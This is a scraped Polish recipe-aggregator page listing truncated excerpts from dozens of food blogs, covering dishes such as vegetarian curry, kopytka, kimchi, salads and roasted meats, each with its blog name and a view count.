posiekanym czosnkiem. Komosę ugotuj zgodnie z instrukcją na opakowaniu. Do słoiczka na dno ułóż sałatę, na to komosę, pomidorki, natkę pietruszki, i na sam wierzch usmażone krewetki. Polej całość sosem z patelni. Tak proste danie, które zrobisz w kilkanaście minut. Jeśli ugotujesz więcej komosy ryżowej, to np. na trzy dni kolejne do pracy możesz robić różne sałatki. A wtedy czas

SMYKWKUCHNI
Wegetariańskie curry z bobem 163

dusimy około 10 minut, aż warzywa lekko zmiękną. Następnie wlewamy mleczko kokosowe i dodajemy przyprawy. Całość mieszamy i dusimy jeszcze około 25 minut, aż wszystkie warzywa będą miękkie, a sos się lekko zredukuje. [caption id="attachment_7271" align="aligncenter" width="685"] Wegetariańskie curry z bobem[/caption] Artykuł Wegetariańskie curry z bobem pochodzi z serwisu e-PrzepisyKulinarne.pl

e-PrzepisyKulinarne
Kurczak z warzywami 186

Hej! Dzisiaj jemy danie jednogarnkowe. Jest bardzo smaczne, kolorowe, zaspokoi nawet wybredne gusta. Potrzebujemy: Czytaj więcej »

Tylko pysznie
Sałatka z białą kiełbasą i jajkami 1137

sobą, położyć na dużym talerzu lub półmisku. Na wierzch poukładać pokrojone jajka, kiełbasę i paprykę. Majonez wymieszać z łyżeczką tartego chrzanu, doprawić do smaku solą i pieprzem. Tak przygotowanym sosem polać sałatkę. Całość posypać świeżo posiekanym szczypiorkiem. Smacznego! (adsbygoogle = window.adsbygoogle || []).push({}); The post Sałatka z białą kiełbasą i jajkami appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
gulasz z karkówki z przyprawą do wołowiny... 195

mięso, dodać cebulę, czosnek i podsmażać z 5 minut wlać wodę, dodać kostkę rosołową i pod przykryciem gotować do miękkości mięsa śmietanę wymieszać z mąką, wodą i wlać do sosu mieszając do zagęstnienia, dodać natkę pietruszki podawać z czym się lubi, u mnie ziemniaki i marchew duszona - gulasz z karkówki z przyprawą do wołowiny jest bardzo smacznym, sycącym daniem obiadowym

W Mojej Kuchni Lubię
Pieczone warzywa 180

Pieczone warzywa to pyszny dodatek do mięsa zamiast surówki. Są bardzo sycące więc można też zajadać same np. z sosem czosnkowym . Warzywa można wybrać dowolne. U mnie są to warzywa korzeniowe-marchewka, seler i pietruszka oraz cebula i ziemniaki. Do tego zestawu można dorzucić także bataty lub pasternak. Upiec można takżę dynię, cukinię, bakłażana czy paprykę ale te warzywa trzymamy

Monia miesza i gotuje
Sałatka z kuskusem i kurczakiem 271

Składniki: 150 g kaszy kuskus (1/2 opakowania) 1 słoiczek pieczarek marynowanych 1 filet z kurczaka 1/2 pora 3 ogórki konserwowe sól, pieprz, słodka papryka, zioła prowansalskie sos: 3-4 łyżki oliwy … Czytaj dalej Sałatka z kuskusem i kurczakiem

czarrna od kuchni
Frytki z batatów 164

Lżejsza wersja frytek znanych na mieście. Moje pieczone frytki z batatów, lekkie, nie chrupiące podaję z domowymi dipami, najczęściej świeżym czosnkowym na jogurcie, sosem tzatziki lub ostrym pomidorowym. Domowa i zdrowa pieczona przekąska gotowa, podaję ją od razu, znika szybko! Składniki: 2 duże bataty sól, pieprz, ostra papryka olej Przygotowanie: Bataty obieram, kroję w słupki. Skrapiam olejem i przyprawiam. Wstawiam

Zasmakuj Kuchni
Sałatka z kabanosa 247

jajka ugotowane na twardo 130 gr kukurydzy z puszki 180 gr kabanosa (użyłam klasycznego wieprzowego) 4 połówki papryki marynowanej 3 średnie ogórki kiszone 70 gr grubo tartego sera żółtego Sos: szczypta pieprzu cayenne 3/4 łyżeczki soli 4 łyżki kwaśnej śmietany 4 łyżki majonezu świeżo krojony koperek Sałatka z kabanosa Jak przygotować sałatkę z kabanosa. Jajka ugotować na twardo. Ja gotuję

mecooks
Klopsy z makaronem soba 153

Pomysł na szybkie klopsy w sosie pomidorowym, z ciecierzycą i makaronem soba. 2 duże porcje (3 małe): 150 g makaronu soba 300 g drobiowego mięsa mielonego 200 g ciecierzycy konserwowej 400 g pomidorów krojonych z puszki lub przecieru pomidorowego 2 łodygi selera naciowego 2 łyżki płatków gryczanych lub mąki gryczanej przyprawy: sól, kolendra mielona, kumin Makaron gotujemy. Mięso doprawiamy, mieszamy

Kucharzyca
Tarta czekoladowo karmelowa 336

małego garnuszka wlać kremówkę, podgrzać i doprowadzić do wrzenia. Zdejmujemy z palnika i dodajemy posiekaną czekoladę i odstawiamy na 2 minuty. Po tym czasie wymieszać, do uzyskania gładkiego sosu czekoladowego. Masę czekoladową wylewamy na schłodzoną masę karmelową. Całość musimy schować do lodówki do całkowitego stężenia. Artykuł Tarta czekoladowo karmelowa pochodzi z serwisu Przepisy kulinarne, przepisy na obiad - FoodMagazine.pl

FoodMagazine.pl - Przepisy kulinarne
Kopytka ze szpinakiem i masłem tymiankowym 187

dani. Połączenie resztki obiadowych ziemniaków i kilku łyżek szpinaku, zaprawionego odrobiną śmietany czyli przekładając na nazwę potrawy, popularne kopytka ze szpinakiem. Jednak nie pasowały mi tu ani skwarki ani sos, postanowiłam polać całość masełkiem z dodatkiem tymianku. W ogóle bardzo Wam polecam do różnych dań szczególnie klusek, pierogów takie aromatyzowane ziołami masła. Robi się je banalnie prosto, dorzucając do masła

Mieszam w Garnku
KASZA JĘCZMIENNA Z BOCZKIEM I CEBULKĄ, do obiadu 264

smaż" - przepis na szybki, zdrowy i pyszny obiad. Z kaszy wyczarujemy wiele absolutnie fantastycznych potraw. Idealny duet stworzy podana do gulaszu, kaczki lub wieprzowych żeberek . Wyśmienita w parze z sosem grzybowym.  Dzisiaj nie musimy spędzać długich godzin w kuchni, czasem wystarczy postawić na tradycję i prostotę. Kasza smażona z kurczakiem i warzywami to typowe danie "mieszaj i smaż" - łatwo

Moja Książka Kucharska
Dorsz z warzywami w sosie pomidorowym 181

było widać. U Was też tak samo? Mam nadzieję, że szybko się to skończy i w końcu wiosna będzie :-) Tym czasem na rozgrzewkę polecam dorsza z warzywami w sosie pomidorowym :-) Pyszny wyszedł, lekko ostry. U mnie podany z kaszą orkiszową i mixem sałat :-) Miłego poniedziałku Wam życzę :-) Składniki: około 500 g świeżego fileta z dorsza 1 mała cebula 2 marchewki

kruche babeczki
ŻEBERKA PO MYŚLIWSKU - pieczone w winie z cebulą i suszonymi śliwkami 179

pieczone w winie z cebulą. Przepis na soczyste żeberka z piekarnika. Nic nie może równać się ze smakiem domowych potraw. Zwłaszcza, gdy serwowane są pyszne żeberka pieczone w winnym sosie z cebulą. Sekretem wyśmienitego smaku tych żeberek jest marynata z czerwonego wina, miodu, suszonych śliwek, czosnku i aromatycznych przypraw. Mięso powinno macerować się przynajmniej przez kilka godzin. Dzięki temu uzyskujemy

Moja Książka Kucharska
Roladki schabowe w sosie musztardowym 207

Roladki schabowe w sosie musztardowym to propozycja na pyszny obiad. Klasyczny farsz: ogórek kiszony, cebula, boczek i musztarda tym razem stanowią farsz roladki z chudego mięsa wieprzowego zamiast ciężkiej wołowiny. Proste i efektowne danie. Wspaniale komponuje się z kaszami, kopytkami lub śląskimi kluskami. Można od razu przygotować więcej i ogrzać kolejnego dnia. Jest ktoś kto nie lubi roladek? Składniki

Gotuj zdrowo!Guten Appetit!
Jajka faszerowane pastą szpinakową 291

anchois i kaparkami Marynowane jajka Faszerowane jajka z serkiem i pomidorami Jajka faszerowane z tuńczykiem Jajka faszerowane z ciecierzycą Jajka faszerowane żółtym serem i pomidorami Jajka w żółtym sosie chrzanowym Jajka faszerowane pastą krabową Jajka faszerowane pastą łososiową Jajka faszerowane pastą szpinakową Czas przygotowania: 30 minut + czas oczekiwania Składniki : 1/2 opakowania mrożonego szpinaku Poltino 1 ząbek czosnku

Kulinarne przygody Gatity
Paprykarz domowy 310

cukier 2 g/kg -liść laurowy mielony 2 g do całości -ziele angielskie mielone 2 g do całości -koperek suszony 2 g do całości -chilli nitki 3 g do całości -sos sojowy 30 ml -papryka wędzona słodka 1,5 g/kg -papryka słodka 1,5 g/kg -papryka ostra 1 g/kg WYKONANIE  Obrać dokładnie rybę i rozdrobnić ją w rękach. Ryż ugotować

Domowe wyroby.Coś do chleba i talerza.
Makaron z boczkiem i groszkiem 143

boczek się zarumieni dodaj odcedzony wcześniej groszek i smaż chwile na małym ogniu następnie dodaj śmietanę i mieszając doprowadź do wrzenia ugotuj makaron i wymieszaj w garnku z sosem. całość posyp posiekaną natką pietruszki i pokrojoną mozzarellą

Studencka Micha
Przegrzebki w boczku 202

Dziś przygotowałam niezwykle proste i szybkie danie - przegrzebki w boczku . Małże św. Jakuba stanowią idealną przystawkę - chrupiący boczek idealnie komponuje się z delikatnymi i miękkimi przegrzebkami, polanymi maślano - cytrynowym sosem. Przegrzebki w boczku to po prostu Szkocja na talerzu - polecam!  Przegrzebki w boczku Składniki:  Kilka świeżych, oczyszczonych przegrzebek Kilka plastrów boczku masło sok z cytryny natka pietruszki pieprz

Codzienne Gotowanie
Polędwiczki w sosie własnym 259

Dziś kolejna propozycja na danie obiadowe - polędwiczki wieprzowe w sosie własnym, moja wersja podana z ziemniakami i mizerią.  Składniki: 300 g polędwicy wieprzowej 1/2 cebuli średniej wielkości 1 ząbek czosnku 1 łyżka oliwy 1-2 ziarenka ziela angielskiego 1/2 łyżeczki majeranku mąka pszenna - odrobina do obsypania mięsa  słodka papryka sól pieprz możecie dodać swoją ulubioną przyprawę do mięsa

Gotuj z Mąką
Pasta jajeczna z tuńczykiem i rzeżuchą 203

przypieczone. Podpieczone pieczywo pokroić na paski o szerokości jednego centymentra każdy. Pastę podawać z tostowymi paluchami. Pasta jajeczna z tuńczykiem i rzeżuchą Wskazówki. Tuńczyk jakiego użyjemy może być w sosie własnym, w oleju bądź w wodzie. Uważajmy z solą kiedy przyprawiamy pastę do smaku. Ja użyłam dosłownie szczyptę soli i pieprzu. Pastę jest bardzo łatwo przesolić a przesolona wiadomo

mecooks
Wyborne roladki z kurczaka 148

Zwinąć w roladkę i spiąć wykałaczkami. Naczynie żaroodporne posmarować olejem, położyć roladki i zapiec w piekarniku w temperaturze 190 stopni około 35-40 minut. Polewając co jakiś czas powstałym sosem. SMACZNEGO

Tradycyjna Kuchnia
KREWETKI PO MEKSYKAŃSKU 214

Krewetki gotowane w lekkim sosie z masła i pomidorów. Z przyprawami charakterystycznymi dla kuchni  meksykańskiej: kolendrą, kminem rzymskim oraz słodką i wędzoną czerwoną papryką w proszku. Podane z ryżem, pastą z awokado i jogurtem naturalnym. Obficie skropione sokiem z limonki. Polecam na weekendową kolację. SKŁADNIKI / 2-3 porcje 40 g masła 1 cebula / drobno posiekana 4 ząbki czosnku / pokrojone

cool and minty
Roladki z szynki czyli wielkanocne rollsy 5298

Czerwoną paprykę i rzodkiewki pokroić w słupki. 3. Jajka obrać i pokroić na ćwiartki. 4. Ogórek obrać i pokroić w słupki długości szynki. 5. Każdy plaster szynki posmarować sosem chrzanowym i ułożyć dwa kawałki papryki, trzy kawałki ogórka, kilka rzodkiewek, ćwiartkę jajka i rzeżuchę. 6. Szynkę zwinąć i związać szczypiorkiem. ZAPRASZAM NA FILM - Roladki z szynki ! Jeśli spodobał Ci się

Atlas Smaków
Moskole z gulaszem 237

Składniki kilka ziemniaków mąka pszenna szczypta kminku jajko 2-3 cebule szczypta majeranku 600 g wieprzowiny 3-4 cebule ostra i słodka papryka mały słoiczek przecieru pomidorowego sól, pieprz sos sojowy ciemny 3 listki laurowe 600 ml bulionu 3-4 ząbki czosnku pęczek natki pietruszki Przygotowanie Ziemniaki obrać i ugotować w osolonej wodzie z szczyptą kminku. Ostudzone przecisnąć przez praskę

Gaździnka warzy
Surówka z kapusty pekińskiej w stylu azjatyckim 176

kapusty pekińskiej 1/2 papryczki chili 1/2 papryki żółtej slodkiej 1 łyżka oleju sezamowego 2 łyżki oliwy 3-4  łyżki   octu ryżowego   1  łyżka   sosu sojowego 1 łyżka  brązowego  cukru szczypta soli Sposób przygotowania: Kapustę pokroić w paski, posypać szczypta soli i  lekko zgnieść dłońmi. Dodać pokrojone papryki oraz wszystkie przyprawy. Ponownie wymieszać

Gosia gotuje
Kopytka 208

Kopytka Klasyczne kluski z ugotowanych i rozduszonych ziemniaków z dodatkiem mąki i jajka, zwane kopytkami. Można je podawać z sosem pieczeniowym, grzybowym, gulaszem lub jeść samodzielnie np. polane stopionym masłem lub skwarkami z cebulką.   Składniki: 1 kg ziemniaków 1 jajko 200 g mąki pszennej sól, olej     *** Ziemniaki obieramy i gotujemy do miękkości w osolonej wodzie *** *** Gdy ziemniaki

Blog z Apetytem
Kim chi z bialej rzepy 185

białej rzepy 1 łyżka soli 1 łyżka cukru 70ml wody 1 łyżka mąki z ryżu szczypta soli 4 cm imbiru,pół pęczka szczypiorku 2 łyżki gochugaru 2 łyżki sosu sojowego 3 ząbki czosnku Wykonanie   tutaj     Rzepę pokroić w gruba kostkę ,przełożyć do miski ,zasypać sola i cukrem,wymieszać ,odstawić na około 45 - 60 minut. W rondelku zagotować

w mojej kuchni
kim chi koreanska klasyczna 214

łyżeczki startego imbiru-obranego 3-4 cebule obrane pokrojone w grubą kostkę 1 szkl. kleiku ryżowego ,lub rozgotowany ryż,lub zamiennie użyć jabłko,lub gruszkę 1/4-1/2  szklanki sosu sojowego opcjonalnie 1/4 szkl.soli na 1 kg kapusty rozrobiona z wodą do zalania kapusty    warsztaty kulinarne  Wykonanie  Kapustę przekroić wzdłuż na cztery części, następnie każdą ćwiartkę pokroić

w mojej kuchni
Kotlety z białej fasoli 307

dodać podsmażone warzywa, jajka, bułkę tartą oraz przyprawy. Ulepić kotleciki, obtoczyć je w bułce tartej i usmażyć na złoto z każdej strony. Podawać np. z kuskusem, chrupiąca surówką lub sosem pieczarkowym

Simply Food
Przepis #126 "Muchomorki" czyli wytrawne muffiny z niespodzianką w środku 167

ciastem. Na wierzchu układamy pokrojone na kawałki pomidorki koktajlowe.  Pieczemy w piekarniku nagrzanym do 180 stopni około 20-25 minut . Muffiny można podawać z odrobiną keczupu lub ulubionym sosem.  Smacznego

Health-Fit-Life
kopytka z jarmużem 165

skosie odcinamy kluseczki. Partiami wrzucamy na osoloną wrzącą wodę. Kopytka gotujemy przez ok. 1 min. od wypłynięcia na powierzchnię. Ugotowane wyjmujemy łyżką cedzakową i podajemy z roztopionym masłem, ulubionym sosem, masłem z czosnkiem

Domowy Smak Jedzenia
Skrzydełka smażone. Przepis krok po kroku. 168

moja jest oryginalna ale na pewno jest duuużo lepsza.   Skrzydełka smażone najlepiej komponują się z Kolorową sałatką z czerwonej kapusty i sosem barbecue.   Zapraszam do zapoznania się z przepisem krok po kroku: Skrzydełka smażone. Składniki: 500 g skrzydełek z kurczaka 400 ml maślanki 1 łyżeczka soli 1 łyżeczka ziaren

kuron.com.pl
Wielkanocna sałatka jajeczna z porem i pieczarkami 232

majonezem. Dodajcie go dopiero w dniu kiedy będziecie ją jedli. Składniki: 6 jajek ugotowanych na twardo 1 duży por 20 dag pieczarek 3 łyżki posiekanego szczypiorku masło sos: 2 łyżki śmietany, 3 łyżki majonezu, sól, pieprz, kilka kropli soku z cytryny Przygotowanie: Pieczarki obieramy i kroimy w mniejsze części. W rondelku rozgrzewamy masło i podsmażamy pieczarki. Gdy będą gotowe lekko

Życie ze smakiem
Klopsiki zapiekane podane na spaghetti 196

Formować małe kuleczki, przełożyć do naczynia żaroodpornego, podlać winem i piec w piekarniku nagrzanym do 190 stopni przez około 20 minut. Spaghetti wyłożyć na półmisek, obłożyć klopsikami, skropić powstałym sosem i podawać na ciepło

Tradycyjna Kuchnia
Polędwiczki Wieprzowe w Sosie Na Bazie Koniaku 148

grubszą kosteczkę smażymy do zrumienienia, dodajemy czosnek przeciśnięty przez praskę. Dodajemy koniak intensywnie mieszając, dodajemy śmietanę. Przyprawiamy musztardą, solą, pieprzem, ziołami. jeszcze chwile gotujemy po czym wkładamy mięso do sosu i dodajemy pietruszkę. Smacznego

Dziś Ja gotuje
Proste obiady na 7 dni #1 + Przepisy i lista zakupów do pobrania! 182

który został Wam po zrobieniu tagliatelle we wtorek. Możecie sięgnąć po fasolę z puszki, ale ja polecam ugotowanie od razu większej ilości fasoli - do ribollity oraz do fasoli w sosie pomidorowym na sobotę. Należy namoczyć, a następnie ugotować 500 g suchej białej fasoli i rozdzielić po połowie do obu dań. Zamiast gałązek świeżych ziół (jeśli nie macie) możecie wykorzystać suszony

Chilli Czosnek i Oliwa
Tonkotsu Ramen 259

najmniej 6 godzin, tak aby bulion bulgotał. Przecedzić i doprawić bulion solą. Aby przygotować jajka należy ugotować je na miękko przez 6 minut. Przygotować marynatę: wymieszać w rondelku sos sojowy z mirinem, wodą i imbirem. Zagotować i wystudzić. Jajka obrać, wystudzić i włożyć do marynaty na 2-6 godzin. Do misek rozłożyć ugotowany makaron ramen, następnie wyłożyć plastry boczku Chashu

wyzwania kuchenne
Kopytka, kluski leniwe-podstawowy przepis 271

garnku zagotowujemy wodę. Kopytka wrzucamy na gotującą się wodę i gotujemy chwilę do wypłynięcia. Hartujemy je w zimnej wodzie i wykładamy na półmisek Kopytka można podać z dowolnym sosem, czy np obsmażyć w masełku i bułce tartej. Polecam i życzę smacznego

moje pyszne łatwe i sprawdzone przepisy krok po kroku
Pikantna pieczona kaczka faszerowana pomarańczami 167

zapiekania. (Naczynia niczym nie natłuszczać, gdyż kaczka jest wystarczająco tłusta.) Wstawić do piekarnika nagrzanego do temperatury 180 stopni. Piec około 2 - 2,5 godziny.  Mięso polewać często sosem, który stopniowo powstaje podczas pieczenia. Dzięki temu kaczka nie będzie sucha. W połowie pieczenia kaczkę można oblać 1 szklanką gorącej wody. Wtedy skórka stanie się bardziej chrupiąca. Tak upieczona kaczka wspaniale

Codzienna kuchnia niecodzienna
Śledzie w sosie tatarskim 224

szalotka 3 ogórki konserwowe 1/2 słoiczka grzybów marynowanych 3 łyżki majonezu sól, pieprz Przygotowanie: Filety śledziowe zalać wodą i ostawić na noc do … Czytaj dalej Śledzie w sosie tatarskim

czarrna od kuchni
Kurczak w krakersach 210

Takie kotlety znakomicie sprawdzą się na domowych imprezach jako ciepła przekąska. Możemy w ten sam sposób zrobić niewielki kąski i podać je z frytkami i sosem czosnkowym. 1 podwójny filet z kurczaka Przyprawa do gyrosa 200 g krakersów Sól Pieprz 2 jajka Krakersy rozbijamy na drobną panierkę. Możemy to zrobić za pomocą blendera lub zwykłego tłuczka i woreczka. Filet

VioletoweKucharzenie
Kotlety mielone z majonezem 238

kotlety aż do momentu zarumienienia (około 10 min).Następnie  na podsmażone już kotlety dodałam pokrojoną w piórka cebulę, jedną łyżkę masła oraz pół szklanki wody w celu uzyskania sosu. Dusiłam na malutkim ogniu 15 minut. Smacznego

Gosia gotuje
Pyszne kotlety brokułowe z porem i feta 175

pestek słonecznika 1½ łyżki mąki lnianej 150 g feta 2 jajka 70 g zmielonych migdałów 3 łyżki oliwy 1 łyżeczka kminu rzymskiego, młotkowanego ½ łyżeczki czarnego pieprzu ghee do smażenia Sos z awokado 1 małe awokado 150 ml migdałowego mleka lub jogurtu 1 łyżka tahini 1 ząbek czosnku sól do smaku 2 łyżki soku z cytryny Dodatkowo sałata lodowa czerwona kapusta

codojedzenia
Pierś z kaczki ze smażonymi jabłkami i puree 254

Wiele osób boi się przygotowywać kaczkę – uważa ją za bardzo suche i trudne w zrobieniu mięso. Nic bardziej mylnego. Można ją przygotować znacznie szybciej niż

Kulinarnyblog.pl - wiesz jak gotować!
Sałatkowe ciasto 2249

oswoiłam. Pomógł również fakt, że z tuńczykiem sałatka smakowała mi zdecydowanie bardziej. 1 duże op. krakersów 2 puszki tuńczyka w oleju (u mnie jeden tuńczyk w oleju, jeden w sosie własnym) 6 jajek, ugotowanych na twardo 150-200g żółtego sera 6 łyżek majonezu 3 łyżki jogurtu greckiego 1 łyżeczka słodkiej papryki po 1/2 łyżeczki soli i pieprzu szczypiorek

Smaki Na Talerzu
Ryba w cieście serowym 232

smażymy na rozgrzanym oleju, z dwóch stron na złoty kolor *** *** Po zdjęciu z patelni ryby odsączamy na ręczniku papierowym z nadmiaru tłuszczu *** *** SMACZNEGO *** POLECAM TAKŻE: ŁOSOŚ PIECZONY W SOSIE SOJOWYM Z MIODEM PRZEPIS TUTAJ RYBA PO JAPOŃSKU PRZEPIS TUTAJ OPIEKANE ŚLEDZIE W ZALEWIE POMIDOROWO-OCTOWEJ PRZEPIS TUTAJ     Artykuł Ryba w cieście serowym pochodzi z serwisu Blog z apetytem

Blog z Apetytem
FRYTKI Z WARZYW 205

przyprawami. Następnie układamy na blaszce wyłożonej papierem do pieczenia i wkładamy do piekarnika nagrzanego do 200 stopni na około 15-20 min. Podajemy same jako przekąska z ulubionym sosem lub jako dodatek do obiadu

Kuchnia MagdaLeny
Curry z kurczaka ze szpinakiem 173

daniem ze względu na to, że dodawane składniki można dobierać według swoich upodobań. Danie może składać się z różnych warzyw, mięsa i innych składników, które są zanurzone w pysznym sosie. Potrawa koniecznie musi być z dodatkiem aromatycznych przypraw tworzących znany nam proszek curry. W Indiach kompozycję przypraw tworzy się na bieżąco i w zależności od potrzeb powstają różne mieszanki

Kuchcik gotuje
Potrawka z ryżem, kurczakiem, marchewką i groszkiem 221

Aromatyczny ryż gotowany na rosole, miękkie i delikatne mięso (najlepiej z 'odzysku'- z rosołu/zupy), słodka, gotowana mini marchewka, zielony groszek plus sos na bazie masła i rosołu... Oto maminy przepis na prosty oraz pyszny obiad z dzieciństwa, czyli lekkostrawna i pożywna potrawka 😋 Pamiętacie? Jedliście? 3-4 porcje: * rosół/bulion warzywny-  600 ml * gotowane mięso z kurczaka

Kraina Miodem Płynąca
Spaghetti Z Sosem Pomidorowym Z Warzywami 151

brokuły i marchew. 4. Kiedy cukinia jest już przesmażona dodajemy  do niej pomidory i przecier oraz podgotowane warzywa, dolewamy śmietankę, doprawiamy do smaku i przesmażamy do zgęstnienia. Gotowy sos podajemy z makaronem spaghetti :) Przepis bierze udział w konkursie na durszlak.pl

Gotowanie...to proste !
Filety z pstrąga w migdałach 226

ognia. Rybę usmażyć na gorącym oleju z obu stron na złoto, lecz smażyć z obu stron nie dłużej niż 10 minut na wolnym ogniu. Wyłożyć na talerz, polać przygotowanym sosem migdałowym i ozdobić świeżą miętą

Tradycyjna Kuchnia
rogaliki drożdżowe z nutellą 220

mleko będzie gorące ciasto nie wyrośnie. Do mleka dodajemy pokruszone drożdże, cukier i 6 łyżek mąki, wszystko dokładnie mieszamy do uzyskania jednolitej brązowej konsystencji. Rozczyn powinien mieć konsystencje gęstego sosu. Pozostałą mąkę przesypujemy do miski na środek kładziemy garnek z rozczynem i pozostawiamy go tak przez 10 minut do wyrośnięcia. 2. W międzyczasie rozpuszczamy masło w garnku. Jeśli rozczyn zacznie

zjem to blog kulinarny
drożdżówki z rabarbarem i budyniem 194

gorące ciasto nie wyrośnie. Do mleka dodajemy pokruszone drożdże,3 łyżki cukru i 6 łyżek mąki, wszystko dokładnie mieszamy do uzyskania jednolitej brązowej konsystencji. Rozczyn powinien mieć konsystencje gęstego sosu. Pozostałą mąkę przesypujemy do miski na środek kładziemy garnek z rozczynem i pozostawiamy go tak przez 10 minut do wyrośnięcia. W międzyczasie rozpuszczamy masło w garnku. Jeśli rozczyn zacznie "uciekać

zjem to blog kulinarny
Sałatka z kaszy bulgur ze strączkami i papryka czyli Niedzielne Śniadanie odc.113 365

szklanki ugotowanej ciecierzycy/soczewicy/innego strączka oraz kaszy bulgur niewielka cebulka np. szalotka po jednej małej papryce czerwonej i żółtej lub po pół dużej garść grubo posiekanej karbowanej natki pietruszki sos: po pół łyżeczki mielonego kuminu i słodkiej papryki łyżka syropu klonowego sok z połowy cytryny 4 łyżki oliwy sól i pieprz do smaku Paprykę myjemy i kroimy w kosteczkę, cebulę kroimy

Dzieje kuchennej Wiewióry
Tortilla orkiszowa, pełnoziarnista. Dieta szybka przemiana 206

świetny zamiennik pieczywa, szczególnie dla tych, którzy nie pieką chleba w domu. Nasz ostatnio ulubiony farsz do  tortilli to sałata rzymska+awocado+łosoś wędzony+rzodkiewki+sos musztardowy. Składniki na 6 tortilli: 250 g mąki orkiszowej pełnoziarnistej 135 ml gorącej wody szczypta soli 2 łyżki oleju 1/2 łyżeczki proszku do pieczenia Wykonanie: wszystkie składniki umieścić w misie robota i zagnieść

Gotuj zdrowo!Guten Appetit!
Sałatka z tuńczyka 171

fasoli, marchewki także polecam, robiłam, smakowały wyśmienicie Dziś u mnie wersja z kukurydzą, jajkami i papryką. Szybka, zdrowa i smaczna, dla mnie najbardziej klasyczna, zapraszam Składniki: puszka tuńczyka w sosie własnym lub oleju 1 czerwona papryka 2 jajka ugotowane na twardo nieduża puszka kukurydzy opcjonalnie: także mała puszka zielonego groszku majonez opcjonalnie: łyżeczka ostrej musztardy sól, pieprz Przygotowanie: Tuńczyka odsączam

Zasmakuj Kuchni
Zakwasowe chlebki orkiszowe 176

zakwasu? no to super, zrobimy zakwasowe chlebki z patelni. Zdrowe bo zakwas pszenny a mąka orkiszowa więc polecam gorąco. Można je zajadać jak chleb do kanapek lub z sałatką, sosem na ostro, jak tam uważacie. Zakwasowe chlebki orkiszowe. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Spaghetti carbonara z cukinią 191

drobnych oczkach ser i wymieszać (troszeczkę sera można zostawić do posypania). Spaghetti ugotować all dente zgodnie z instrukcją na opakowaniu. Odcedzić i przełożyć z powrotem do garnka. Wlać sos i szybko wymieszać (żółtko nie powinno się ściąć). Na koniec dodać przygotowane wcześniej warzywa i ponownie wymieszać. Podawać od razu po przygotowaniu, oprószone świeżo mielonym pieprzem i posypane bazylią lub natką

KUCHNIA POLSKA
Biała kiełbasa z warzywami i cydrem 213

bądź pokrywką. Wsadzamy do nagrzanego do 200 stopni piekarnika. Pieczemy około 30 min. Po tym czasie ściągamy przykrycie i pieczemy jeszcze 10 min, żeby kiełbasa się przyrumieniła. Podajemy z sosem chrzanowym . Post Biała kiełbasa z warzywami i cydrem pojawił się poraz pierwszy w LADY KITCHEN

ladykitchen
Sałatka jarzynowa 209

drobną kostkę. Posiekaj także jaja, ogórki kwaszone (nie musisz ich obierać ze skóry), obrane jabłko. Dodaj zielony groszek, a następnie majonez, musztardę oraz sól i pieprz do smaku. Jeśli sosu jest za mało dodaj jeszcze nieco majonezu. Sałatkę przechowuj w lodówce w zamkniętym pojemniku lub słoiku. SMACZNEGO!   Artykuł Sałatka jarzynowa pochodzi z serwisu nietylkopasta.pl - blog kulinaria, restauracje, podróże

nietylkopasta.pl
Buddha bowl 190

Buddha bowl to kompozycja zdrowych, odpowiednio dobranych składników ułożonych w miseczce i połączonych sosem. Przedstawiam Wam jedną z moich propozycji podania, ale możecie tworzyć bardzo urozmaicone miseczki kierując się poniższymi

Bullio
Mega Burak-burgery 217

stron do uzyskania pysznej skorupki - ok. 7min z każdej strony. Surówka z kapusty pekińskiej: 1. Kapustę umyj, dokładnie osusz i pokrój na cienkie paski. 2. Wymieszaj ze wszystkimi składnikami sosu. Burgery podawaj z surówką i dodatkami na opieczonych bułkach. Smacznego! Mega Beetroot burgers about 8 burgers Ingredients: 1 onion 2 cloves of garlic 2 beetroots 2 large carrots 1 small

Kuchnia w Słońcu Skąpana
Pulpeciki z batatami w sosie słodko - ostrym 197

czosnek, całość zblendować na gładka masę.   Batata pokroić w drobną kostkę.   Na patelni po klopsikach rozgrzać odrobinę oleju wrzucić bataty i smażyć aż zmiękną. Wlać przygotowany sos, dodać klopsiki i rodzynki. Gotować na małym ogniu około 15 minut. Gotowe danie posypać kolendrą lub natką pietruszki. Podawać z ryżem lub pieczywem

Jadło i czytadło
KURCZAK PIECZONY Z WARZYWAMI 295

funkcja parowania. Kurczaka dajemy wyżej, warzywa niżej. Czas pieczenia zależny jest od wagi mięsa – wynosi średnio 1 godzinę na 1 kg mięsa. Mięso co jakiś czas podlewamy sosem tworzącym się podczas pieczenia. Warzywa w połowie pieczenia obracamy. Podajemy gorące! Smacznego! Mięso oraz warzywa przygotowane z dodatkową funkcją pary są fantastyczne i zdecydowanie zyskują na smaku! Różnica w soczystości mięsa

Ostra na Słodko
Szynka w musztardowej skorupie 447

opłukać, osuszyć, natrzeć solą i pieprzem, przełożyć na naczynia żaroodpornego i polać bulionem. Wstawić do piekarnika i piec w temperaturze 200 stopni przez 40 minut, polewając w międzyczasie powstałym sosem. Jajko rozbełtać z bułką tartą i musztardą, wymieszać, doprawić do smaku solą i pieprzem. Upieczoną i przestudzoną szynkę, posmarować musztardową masą, włożyć ponownie do formy i piec jeszcze przez

Tradycyjna Kuchnia
Dyniowo – kalafiorowe curry z łososiem i krewetkami 227

Hortex. Warzywa zalewamy mleczkiem kokosowym i dusimy przez 5 minut. Mrożone krewetki sparzamy wrzątkiem, czyścimy skórę łososia z łusek, kroimy fileta na 2 cm paski. Rybę wkładamy do gotującego sosu z warzywami, po 3 minutach dokładamy krewetki i dusimy jeszcze 3 minuty. Doprawiamy solą wedle uznania. Curry serwujemy na ryżu z listkami kolendry. Smacznego!!! Artykuł Dyniowo – kalafiorowe curry z łososiem

Kierunekuchnia
Zapiekana karkówka po flisacku 494

flisacku nie wymaga wielu umiejętności kulinarnych, także jest wspaniałym przepisem dla osób, które nie są biegłe w kuchni. Spróbujcie i dajcie znać jak smakowało! Zobacz też: Karkówka w sosie własnym Prosty gulasz wieprzowy Przepis na karkówkę po flisacku Drukuj przepis Porcji: 5 Czas gotowania: 1,5 godziny Składniki 500 g karkówki czubata łyżka musztardy miodowej łyżeczka majeranku 2 ząbki czosnku

Kuchnia Bazylii
Pieczeń drobiowa z kapustą... 444

przykrycia ~10-15 min. Po upieczeniu studzimy i schłodzone chowamy do lodówki na noc lub na kilka godzin. Następnie serwujemy na zimno jako przystawkę lub po podgrzaniu z sosem do obiadu. Smacznego

chleba naszego
